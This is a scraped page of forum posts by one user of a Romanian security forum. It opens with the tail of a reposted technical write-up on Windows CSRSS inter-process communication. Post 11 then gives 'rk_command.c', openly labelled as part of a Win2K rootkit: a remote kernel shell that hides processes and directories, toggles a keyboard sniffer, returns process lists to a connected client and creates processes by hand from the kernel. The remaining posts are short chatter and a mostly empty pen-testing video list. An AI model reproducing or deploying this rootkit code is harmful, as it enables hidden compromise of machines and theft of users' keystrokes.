Length, PVOID* Pointer) The routine allocates “Length” bytes from the CaptureBuffer’s general memory block. The address of the newly allocated block is stored inside *Pointer, while Pointer is put into one of the Capture.Pointers[] items. Example: view sourceprint? 1.CsrAllocateMessagePointer(CaptureBuffer,3,&m.FirstPointer); Having three (out of twenty) bytes allocated, one can copy some data: view sourceprint? 1.RtlCopyMemory(m.FirstPointer,"\xcc\xcc\xcc",3); After all of the five allocations are made, the CaptureBuffer structure layout can look like this: It is important to keep in mind that the pointers into CaptureBuffer.Memory[] must reside in the actual LPC message being sent to the server – the reason of this requirement will be disclosed, soon CsrCaptureMessageBuffer(LPVOID CaptureBuffer, PVOID Buffer, ULONG Length, PVOID *OutputBuffer) The routine is intended to simplify things for the developer, by performing the CaptureBuffer-allocation and copying the user specified data at the same time. Pseudocode: view sourceprint? 1.CsrAllocateMessagePointer(CaptureBuffer,Length,OutputBuffer); 2.RtlCopyMemory(*OutputBuffer,Buffer,Length); CsrCaptureMessageString(LPVOID CaptureBuffer, PCSTR String, ULONG Length, ULONG MaximumLength, PSTRING OutputString) Similar to the previous routine – allocates the requested memory space, and optionally copies a specific string into the new allocation. [*]After the Capture Buffer is allocated and initialized (all N memory blocks are in use), it’s time to send the message, already! This time, we fill in the second parameter of the CsrClientCallServer routine with our CaptureBuffer pointer. When the following call is issued: view sourceprint? 1.CsrClientCallServer(&m,CaptureBuffer,API_NUMBER,sizeof(m)-sizeof(_PORT_HEADER)); … and the 2nd argument is non-zero, a couple of interesting conversions are taking place in the above routine. This is the time when the CsrPortMemoryRemoteDelta value comes into play. First of all, the data-pointers residing in the CSR_MESSAGE structure (&m) are translated to a server-compatible virtual address, by adding the RemoteDelta. From now on, the m.FirstPointer, m.SecondPointer, …, m.FifthPointer are invalid in the context of the local process, but are correct in terms of server-side memory mapping. view sourceprint? 1.for( UINT i=0;i<PointerCount;i++ ) 2.*CaptureBuffer.Pointers += CsrPortMemoryRemoteDelta; Furthermore, the CaptureBuffer.Pointers[] array is altered, using the following pseudo-code: view sourceprint? 1.for( UINT i=0;i<PointerCount;i++ ) 2.CaptureBuffer.Pointers -= &m; So, to sum everything up – after the address/offset translation is performed, we’ve got the following connection between the LPC message and shared buffer: m.CaptureBuffer points to the server’s virtual address of the CaptureBuffer base, CaptureBuffer->Pointers[] contain the relative offsets of the data pointers, i.e. (&m+CaptureBuffer->Pointers[0]) is the pointer to the first capture buffer, (&m+CaptureBuffer->Pointers[n]) points to the server’s virtual address of the n-th capture buffer. [*]Or, the same connection chain illustrated graphically looks like this: [*]When both the local CSR_MESSAGE and shared CaptureBuffer structures are properly modified, ntdll!CsrClientCallServer calls the standard NtRequestWaitReplyPort LPC function, and waits for an optional output. When the native calls returns, all of the modified struct fields are restored to their original values, so that the user (or, more likely – win32 APIs) can easily read the error code and optional subsytem’s output. Due to the fact that the VA- and offset-related conversions are non-trivial to be explained in words, I strongly advice you to check the information presented in this post by yourself. This should give you even better insight at how the cross-process data exchange reliability is actually achieved. Sending What’s been already described – if one wants to make use of large data transfers, he must allocate a CaptureBuffer, specifying the number of memory blocks and the total byte count, fill it with the desired data (using CsrCaptureMessageBuffer or CsrCaptureMessageString), and call the CsrClientCallServer, supplying an LPC structure, (containing the data-pointers into CaptureBuffer) as the first parameter, and the CaptureBuffer itself – as the second one. The rest of the job is up to ntdll. Please keep in mind that one CaptureBuffer can be technically utilized only once – and therefore, it should be freed after its first (and last) usage, using CsrFreeCaptureBuffer. Examples In this particular case, every CsrApi handler using the CsrValidateMessageBuffer import makes a good example, let it be: winsrv!SrvAllocConsole winsrv!SrvSetConsoleTitle winsrv!SrvAddConsoleAlias … and numerous other functions, which are pretty easy to find by oneself. Conclusion This post entry aimed to briefly present the “Native Csr Interface” – both in terms of the functions, structures and mechanisms playing some role in the Inter-Process Communication. As you must have noted, only client-side perspective has been described here, as the precise way of CSRSS receiving, handling and responding to the request is a subject for another, long article (or two). And so – if you feel like some important Csr~ routines should have been described or mentioned here – let me know. On the other hand, I am going to cover the remaining, smaller functions (such as CsrGetProcessId) in one, separate post called CSRSS Tips & Tricks. Watch out for (part 3/3) and don’t hesitate to leave constructive comments! Cheers! Sursa 1: Windows CSRSS Write Up: Inter-process Communication (part 1/3) | j00ru//vx tech blog Sursa 2: Windows CSRSS Write Up: Inter-process Communication (part 2/3) | j00ru//vx tech blog
  11. Nytro

    rk_command.c

    rk_command.c #include "rk_driver.h" #include "rk_command.h" #include "rk_defense.h" #include "rk_process.h" BOOL g_hide_directories = TRUE; BOOL g_hide_proc = TRUE; BOOL g_sniff_keys = FALSE; struct _csrmsg { PORT_MESSAGE PortMessage; struct CSRSS_MESSAGE CsrssMessage; PROCESS_INFORMATION ProcessInformation; CLIENT_ID Debugger; ULONG CreationFlags; ULONG VdmInfo[2]; } csrmsg; //////////////////////////////////////////////////////////////////// // these functions are dynamically linked out of NTDLL since // they are not exported. //////////////////////////////////////////////////////////////////// typedef NTSTATUS (*CsrClientCallServer) ( IN PVOID Message, IN PVOID, IN ULONG OpCode, IN ULONG Size ); typedef NTSTATUS (*ZwWriteVirtualMemory) ( IN HANDLE hProcess, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG BytesToWrite, OUT PULONG BytesWritten ); //typedef NTSTATUS (*GetEnvironmentStringsW) ( // ... //); typedef NTSTATUS (*RtlDestroyProcessParameters) ( IN PPROCESS_PARAMETERS ProcessParameters ); typedef NTSTATUS (*RtlCreateProcessParameters) ( OUT PPROCESS_PARAMETERS *ProcessParameters, IN PUNICODE_STRING ImageFile, IN PUNICODE_STRING DllPath OPTIONAL, IN PUNICODE_STRING CurrentDirectory OPTIONAL, IN PUNICODE_STRING CommandLine OPTIONAL, IN ULONG CreationFlags, IN PUNICODE_STRING WindowTitle OPTIONAL, IN PUNICODE_STRING Desktop OPTIONAL, IN PUNICODE_STRING Reserved OPTIONAL, IN PUNICODE_STRING Reserved2 OPTIONAL ); typedef NTSTATUS (*ZwResumeThread) ( IN HANDLE hThread, OUT PULONG pSuspendCount ); typedef NTSTATUS (*ZwProtectVirtualMemory) ( IN HANDLE hProcess, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG Protect, OUT PULONG OldProtect ); typedef NTSTATUS (*ZwCreateProcess) ( OUT PHANDLE phProcess, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE hParentProcess, IN BOOLEAN bInheritParentHandles, IN HANDLE hSection OPTIONAL, IN HANDLE hDebugPort OPTIONAL, IN HANDLE hExceptionPort OPTIONAL ); typedef NTSTATUS (*ZwOpenFile) ( OUT PHANDLE phFile, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK pIoStatusBlock, IN ULONG ShareMode, IN ULONG OpenMode ); //////////////////////////////////////////////////////////////////// // commands passed from the kernel shell are handled here // //////////////////////////////////////////////////////////////////// void process_rootkit_command(char *theCommand) { char _c[256]; BOOL return_prompt = TRUE; sprintf(_c, "rootkit: process_rootkit_command %s, len %d", theCommand, strlen(theCommand)); DbgPrint(_c); if(0 == strlen(theCommand)) { //the user pressed return, which is meant to break out //of sniffer-modes - so make sure all sniffers are off if(g_sniff_keys) { char _t[] = "------------------------------------------\r\nsniffkeys is now OFF.\r\n"; g_sniff_keys = FALSE; ReturnDataToClient(_t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'help' // return a help string //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "help")) { char _help[] = "Win2K Rootkit by the team rootkit.com\r\n" \ "Version 0.4 alpha\r\n" \ "------------------------------------------\r\n" \ "command description \r\n" \ "\r\n" \ "ps show proclist \r\n" \ "help this data \r\n" \ "buffertest debug output \r\n" \ "hidedir hide prefixed file/dir\r\n" \ "hideproc hide prefixed processes\r\n" \ "debugint (BSOD)fire int3 \r\n" \ "sniffkeys toggle keyboard sniffer\r\n" \ "echo <string> echo the given string\r\n" \ "\r\n*(BSOD) means Blue Screen of Death\r\n" \ "if a kernel debugger is not present!\r\n" \ "*'prefixed' means the process or filename\r\n" \ "starts with the letters '_root_'.\r\n" \ "\r\n"; ReturnDataToClient(_help, strlen(_help)); } //////////////////////////////////////////////////////////////// // Command: 'echo' 'string' // echo back the string, useful for rootkit patches that need // to send data to a connected client //////////////////////////////////////////////////////////////// else if(0 == memcmp(theCommand, "echo ", 5)) { int l = strlen(&theCommand[5]); if(l) { return_prompt=FALSE; ReturnDataToClient(&theCommand[5], l); } } //////////////////////////////////////////////////////////////// // Command: 'ps' // returns the process list running on the host //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "ps")) { command_get_proclist(); } //////////////////////////////////////////////////////////////// // Command: 'buffertest' // debug function causes a large number of packets to return // used to debug the TCP/IP stack functionality //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "buffertest")) { int count=0; for(count=0;count<100;count++) { int x; sprintf(_c, ".%d.", count); x = strlen(_c); ReturnDataToClient(_c, x); } } //////////////////////////////////////////////////////////////// // Command: 'sniffkeys' // toggles keyboard sniffer //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "sniffkeys")) { if(g_sniff_keys) { char _t[] = "keyboard sniffing now OFF\r\n"; g_sniff_keys = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "keyboard sniffing now ON\r\n------------------------------------------\r\n"; return_prompt=FALSE; g_sniff_keys = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'hidedir' // toggles directory hiding with '_root_' prefix //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "hidedir")) { if(g_hide_directories) { char _t[] = "directory prefix-hiding now OFF\r\n"; g_hide_directories = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "directory prefix-hiding now ON\r\n"; g_hide_directories = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'hideproc' // toggles process hiding with '_root_' prefix //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "hideproc")) { if(g_hide_proc) { char _t[] = "process prefix-hiding now OFF\r\n"; g_hide_proc = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "process prefix-hiding now ON\r\n"; g_hide_proc = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'debugint' // debug function causes a debug interrupt to fire // this will BSOD the machine unless a kernel debugger is // present. //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "debugint")) { __asm int 3 } else { char t[256]; sprintf(t, "error: unknown or malformed command %s\r\n", theCommand); ReturnDataToClient( t, strlen(t)); } if(return_prompt) //this is our prompt, an upside-down question-mark ¿ ReturnDataToClient("\xA8", 1); } /////////////////////////////////////////////////////////////////// // commands requested from kernel shell, many of these return // data to the connected client. /////////////////////////////////////////////////////////////////// // --[ command_get_proclist ]--------------------------- // utility routine, dump process list // should only be called at IRQL_PASSIVE // this will send a process list back to the connected // client over the TCP/IP session // ----------------------------------------------------- void command_get_proclist() { unsigned long n = 0x100; struct _SYSTEM_PROCESSES *p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n); if(p) { struct _SYSTEM_PROCESSES *curr = NULL; // ------------------------------------------------------------------ // spin until our buffer is large enough to hold the results. // Information Class 5 is 'ProcessAndThreadsInformation' // ------------------------------------------------------------------ while(ZwQuerySystemInformation( 5, p, n, 0) == STATUS_INFO_LENGTH_MISMATCH) { ExFreePool(p); n *= 2; p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n); if(NULL == p) { break; } } if(p) { curr = p; // ------------------------------------------------------------------------- // forward through all entries in an array of process structures // some processes will not have names. (System Idle, for example) // ------------------------------------------------------------------------- while(curr) { ANSI_STRING process_name; RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); if( (0 < process_name.Length) && (200 > process_name.Length) ) { char _output[255]; char _pname[255]; int tslen = 0; memset(_pname, NULL, 255); memcpy(_pname, process_name.Buffer, process_name.Length); sprintf( _output, "%d\t%s\r\n", curr->ProcessId, _pname); tslen = strlen(_output); ReturnDataToClient(_output, tslen); } RtlFreeAnsiString(&process_name); if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } ExFreePool(p); } } } #if 1 /* _________________________________________________ . This function is intended to launch a WIN32 . process. So far, the process creation works. . We are actually building a real process - the . stumper right now is how to create the inital . thread - we can create the process, but it doesn't . >DO< anything until we start an initial thread! . So far we haven't figured out how to initialize . the thread context & stack for NtCreateThread(). . . Update Feb 3, trying to get this working again... . _________________________________________________ */ PVOID FindNT() { ULONG n; PULONG q; PSYSTEM_MODULE_INFORMATION p; PVOID ntdll = NULL; ULONG i; ZwQuerySystemInformation( 11, &n, 0, &n); //SystemModuleInformation q = (PULONG)ExAllocatePool(PagedPool, n); ZwQuerySystemInformation( 11, q, n * sizeof *q, 0); p = (PSYSTEM_MODULE_INFORMATION)(q+1); for(i=0; i < *q; i++) { if(0 == memcmp( p.ImageName + p.ModuleNameOffset, "ntdll.dll", 9)) { // we have a winner ntdll = p.Base; } } ExFreePool(p); return ntdll; } PVOID FindFunction(PVOID Base, PCSTR Name) { ULONG size; ULONG addr; ULONG i; PULONG functions; PULONG ordinals; PULONG names; PVOID func; PIMAGE_EXPORT_DIRECTORY exports; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)(Base); PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PCHAR)Base + dos->e_lfanew); PIMAGE_DATA_DIRECTORY expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; size = expdir->Size; addr = expdir->VirtualAddress; exports = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)Base + addr); functions = (PULONG)( (PCHAR)Base + exports->AddressOfFunctions); ordinals = (PULONG)( (PCHAR)Base + exports->AddressOfNameOrdinals); names = (PULONG)( (PCHAR)Base + exports->AddressOfNames); func = 0; for(i=0;i<exports->NumberOfNames;i++) { ULONG ord = ordinals; if(functions[ord] < addr || functions[ord] >= addr + size) { if(strcmp((PSTR)((PCHAR)Base + names), Name) == 0) func = (PCHAR)Base + functions[ord]; } } return func; } void InformCsrss( HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid) { memset(&csrmsg, NULL, sizeof(struct _csrmsg)); csrmsg.ProcessInformation.hProcess = hProcess; csrmsg.ProcessInformation.hThread = hThread; csrmsg.ProcessInformation.pid = pid; csrmsg.ProcessInformation.tid = tid; CsrClientCallServer( &csrmsg, 0, 0x10000, 0x24 ); } PWSTR CopyEnvironment(HANDLE hProcess) { PWSTR env = GetEnvironmentStringsW(); ULONG m; ULONG n; PVOID p = 0; for(n = 0; env[n] != 0; n += wcslen(env + n) + 1) ; n *= sizeof *env; m = n; ZwAllocateVirtualMemory(hProcess, &p, 0, &m, MEM_COMMIT, PAGE_READWRITE ); ZwWriteVirtualMemory( hProcess, p, env, n, 0); return (PWSTR)p; } VOID CreateProcessParameters( HANDLE hProcess, PPEB Peb, PUNICODE_STRING ImageFile ) { PPROCESS_PARAMETERS pp; PVOID p = 0; ULONG n; RtlCreateProcessParameters( &pp, ImageFile, 0, 0, 0, 0, 0, 0, 0, 0); pp->Environment = CopyEnvironment(hProcess); n = pp->Size; ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE ); ZwWriteVirtualMemory( hProcess, p, pp, pp->Size, 0); ZwWriteVirtualMemory( hProcess, (PCHAR)(Peb) + 0x10, &p, sizeof p, 0); RtlDestroyProcessParameters(pp); } int exec(PUNICODE_STRING name) { HANDLE hProcess, hThread, hSection, hFile; OBJECT_ATTRIBUTES oa; IO_STATUS_BLOCK iosb; PROCESS_BASIC_INFORMATION pbi; SECTION_IMAGE_INFORMATION sii; USER_STACK stack = {0}; CONTEXT context = {CONTEXT_FULL}; CLIENT_ID cid; ULONG n; PVOID p; ULONG x; oa.Length = sizeof oa; oa.RootDirectory = 0; oa.ObjectName = name; oa.Attributes = OBJ_CASE_INSENSITIVE; ZwOpenFile( &hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SYNCHRONOUS_IO_NONALERT ); oa.ObjectName = 0; ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, 0x01000000, //SEC_IMAGE hFile); ZwClose(hFile); ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, NtCurrentProcess(), TRUE, hSection, 0, 0); ZwQuerySection( hSection, SectionImageInformation, &sii, sizeof sii, 0); ZwClose(hSection); n = sii.StackReserve; ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE); stack.ExpandableStackBase = (PCHAR)(stack.ExpandableStackBottom) + sii.StackReserve; stack.ExpandableStackLimit = (PCHAR)(stack.ExpandableStackBase) - sii.StackCommit; n = sii.StackCommit + PAGE_SIZE; p = (PCHAR)(stack.ExpandableStackBase) - n; ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE); n = PAGE_SIZE; ZwProtectVirtualMemory( hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x ); context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = (ULONG)(stack.ExpandableStackBase) - 4; context.Eip = (ULONG)(sii.EntryPoint); ZwCreateThread( &hThread, THREAD_ALL_ACCESS, &oa, hProcess, &cid, &context, &stack, TRUE); ZwQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof pbi, 0); CreateProcessParameters( hProcess, pbi.PebBaseAddress, name); InformCsrss(hProcess, hThread, (ULONG)(cid.UniqueProcess), (ULONG)(cid.UniqueThread)); ZwResumeThread(hThread, 0); ZwClose(hProcess); ZwClose(hThread); return (int)(cid.UniqueProcess); } void TestLaunchWin32Process() { UNICODE_STRING FileName; RtlInitUnicodeString(&FileName, L"\\??\\C:\\winnt\\system32\\calc.exe"); exec(&FileName); } #endif E o bucata dintr-un rootkit. Am postat pentru ca la final sunt niste lucruri interesante: crearea manuala a unui proces. Sursa:
  12. http://www.emag.ro/laptop-lenovo-essential-b5400-cu-procesor-intel-174-core-small-sup-tm-sup-small-i5-4200m-2-50ghz-haswell-full-hd-4gb-500gb-sshd-8gb-nvidia-geforce-820m-1gb-freedos-black-59416687/pd/DBJ8QBBBM/ ?
  13. La multi ani celor pe care ii cheama "Alexandru" din partea lu' "Lacrima lui Ovidiu"!
  14. Am testat si am primit email si pe Yahoo! si pe Gmail. Daca e vorba de un alt domeniu da-mi PM cu adresa de mail si verific. Nota: Mai ajung si in Spam.
  15. Super. Banale dar eficiente.
  16. Nu pare open-source. De ce TrueCrypt care e open-source ar avea backdoor si noi ar trebui sa avem mai multa incredere intr-un program "Enterprise" non-open-source?
  17. Ce backdoor? Nu de alta, dar m-am uitat prin codul lui tocmai din aceasta privinta si nu am gasit nimic interesant.
  18. Poti sa o dai in judecata daca te ameninta cu asa ceva. Vorbesc serios. E tot o forma de santaj.
  19. [h=1]Web Application Pen-Testing[/h] [TABLE=class: pl-video-table] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 49:51 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 27:17 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 7:37 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 1:05:13 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 30:41 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 30:02 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 25:31 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 32:45 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 14:49 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 22:08 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 47:14 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 57:39 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 58:42 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 1:10:58 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 57:03 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 30:48 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 19:44 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:52 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 33:43 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 47:42 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 32:44 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 8:22 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 39:21 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 20:56 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 54:31 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:58 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] 